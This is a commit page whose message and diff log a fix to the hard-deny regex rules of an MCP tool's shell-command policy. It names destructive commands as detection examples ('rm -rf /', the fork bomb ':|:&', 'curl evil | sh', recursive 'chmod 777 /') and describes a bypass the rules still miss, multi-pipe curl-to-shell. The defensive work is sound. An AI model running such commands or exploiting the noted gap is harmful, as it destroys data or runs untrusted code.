Fix hard-deny enforcement gaps surfaced by PR-4 test re-enable
Re-enabling the policy test module in PR-4 (the policy_with compile fix) exposed 16 pre-existing failures: 14 real bugs, 2 wrong assertions. is_hard_denied is now two-pass — whole-input first, then per-subcommand. The subcommand splitter was tearing apart patterns whose meaning needs their | / & to stay intact: fork bomb (:|:&) and curl-piped-to-shell. Result was that 9 of the 10 advertised hard-deny rules quietly didn't enforce against their own canonical examples. Regex fixes: - Rule 1/2 flag class [a-z] → [a-zA-Z]: catches `rm -Rf /`. - Rule 1/2 trailing anchor accepts # so a trailing comment can't smuggle the danger past detection. - Rule 8 shell alternation gains bare `sh` — `curl evil | sh` (most common form) was not previously caught because `ba?sh` required `b`. - Rule 9 anchor tightened: `/` must be followed by a path boundary, end-of-input, or shell operator. `chmod -R 777 /tmp` no longer false- positives (still destructive, but a deliberate user scope choice). Two test assertions flipped to is_none(): hard_deny_quoted_pattern_not_ matched and hard_deny_git_grep_contains_pattern. The originals expected false-positives on echo'd / grep'd danger strings. The post-fix behaviour of NOT flagging these is correct UX: searching for or printing a danger string is not the same as invoking it. cargo test --lib: 118 passed; 0 failed. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
parent
9ebb3e4d2e
commit
e872044310
2 changed files with 80 additions and 16 deletions
35
memory.md
35
memory.md
|
|
@ -52,6 +52,41 @@ Durable memory for this project. Read at session start, update before session en
|
|||
|
||||
## Session log
|
||||
|
||||
### 2026-05-26 — Hard-deny rework: fix latent enforcement gaps surfaced by PR-4
|
||||
|
||||
Re-enabling the policy test module in PR-4 (the `policy_with` compile fix) exposed **16 pre-existing test failures**. Triaged: 2 wrong assertions, 14 real bugs. Fixed all in one focused pass on `mcp_policy.rs`.
|
||||
|
||||
**Two-pass `is_hard_denied`.** The subcommand splitter (split on `&& || ; | |& & \n`) was destroying patterns whose *meaning* requires them to span operators — fork bomb (`:|:&`) and curl-piped-to-shell (`curl ... | bash`) being the obvious examples. Result: 9 of the 10 advertised hard-deny rules quietly didn't enforce against the patterns the UI listed. New shape:
|
||||
|
||||
1. **Whole-input pass first** — every regex tried against the un-split command. Wins fork bomb, curl|bash, anything else that *needs* its `|`/`&` to match.
|
||||
2. **Per-subcommand pass second** — preserves the original behaviour of catching `safe_cmd && rm -rf /` after splitting. Order matters; the whole-input check is fast (compiled regex, small inputs in practice), and a whole-input hit short-circuits before splitting.
|
||||
|
||||
This is the load-bearing fix. The regex tweaks below are individually small but each closes a specific bypass.
|
||||
|
||||
**Regex fixes:**
|
||||
|
||||
- **Rule 1/2 flag class:** `[a-z]*r[a-z]*f?` → `[a-zA-Z]*[rR][a-zA-Z]*f?`. Catches `rm -Rf /` (uppercase R), which previously slipped through. Same change applied to rule 2 (`rm -rf ~ / $HOME`).
|
||||
- **Rule 1/2 trailing anchor:** `($|[;&|])` → `($|[#;&|])`. `rm -rf / # cleanup` now triggers; previously the `#` confused the anchor and the regex bailed.
|
||||
- **Rule 8 shell alternation:** `(ba?sh|zsh)` → `(ba?sh|zsh|sh)`. The leading `b` in `ba?sh` was mandatory, so `curl evil | sh` (the most common form of these install scripts) was *not* caught. Adding `sh` to the alternation catches the bare POSIX shell. Verified order-dependency: at the position after `\s*(sudo\s+)?`, the engine tries `ba?sh` first, then `zsh`, then `sh`; nothing in `dash`/`ash`/whatever starts with `s` then `h` at the right offset, so no over-match.
|
||||
- **Rule 9 anchor:** `\bchmod\s+-R\s+777\s+/` → `\bchmod\s+-R\s+777\s+/(\s|$|[#;&|])`. The old regex matched any `/` (including `/tmp`); the new one requires the `/` to be followed by a path boundary, end of input, or a shell operator. `chmod -R 777 /tmp` now correctly does NOT trip the rule (the desired behaviour — destructive but a deliberate user choice, not "destroy the system").
|
||||
|
||||
**Two test assertions flipped from `Some` to `None`** (`hard_deny_quoted_pattern_not_matched`, `hard_deny_git_grep_contains_pattern`). The originals expected false-positives on `echo "rm -rf /"` and `git log --grep="rm -rf"`. The post-fix behaviour (NOT flagging these) is correct: searching for or printing a danger string is not the same as invoking it, and false-positives here would make a lot of `claude` advice unusable. The tests now document this with a comment.
|
||||
|
||||
**Result: 118 passed; 0 failed.** All my new sanitiser tests (PR-4) + all the previously-broken hard-deny tests + the 70+ that were already passing.
|
||||
|
||||
**Things to verify next time someone touches hard-deny:**
|
||||
|
||||
- If a new rule's pattern is intrinsically multi-operator (think `kill -9 -1`, `dd | gzip > device`), make sure whole-input matching covers it — don't rely on the subcommand pass.
|
||||
- If a new rule's pattern targets a path, anchor with `\s|$|[#;&|]` after the trailing `/` (rule 9 style) to avoid over-matching `/tmp` etc.
|
||||
- Flag character classes for case-insensitive Unix tools: `[a-zA-Z]`, not `[a-z]`.
|
||||
- Trailing-comment anchor: include `#` in the post-pattern character class.
|
||||
|
||||
Open follow-ups specific to this session:
|
||||
|
||||
- **Multi-pipe-to-shell** like `curl url | grep -v foo | bash` is still not caught — `[^|]*\|` only spans one pipe. Probably fine for v2; if it bites, broaden to `[^|]*(\|[^|]*)*\|\s*...` or add a second-pass that detects "any output of curl/wget reaches a shell anywhere downstream".
|
||||
- **PowerShell hard-deny patterns** (carried over from PR-3/PR-4 lists). The 10 baked-in rules remain POSIX-only.
|
||||
- **Audit-log persistence** (carried over).
|
||||
|
||||
### 2026-05-26 — MCP v2 PR-4: `add_host` + `delete_host` + extraArgs sanitiser + third SSH safeguard
|
||||
|
||||
Final v2 PR. All 11 planned MCP write tools now live. Mechanically the same dispatcher shape as the other tree-shape tools; the novel bits are the **extraArgs sanitiser** and the **third SSH-safeguard switch**.
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue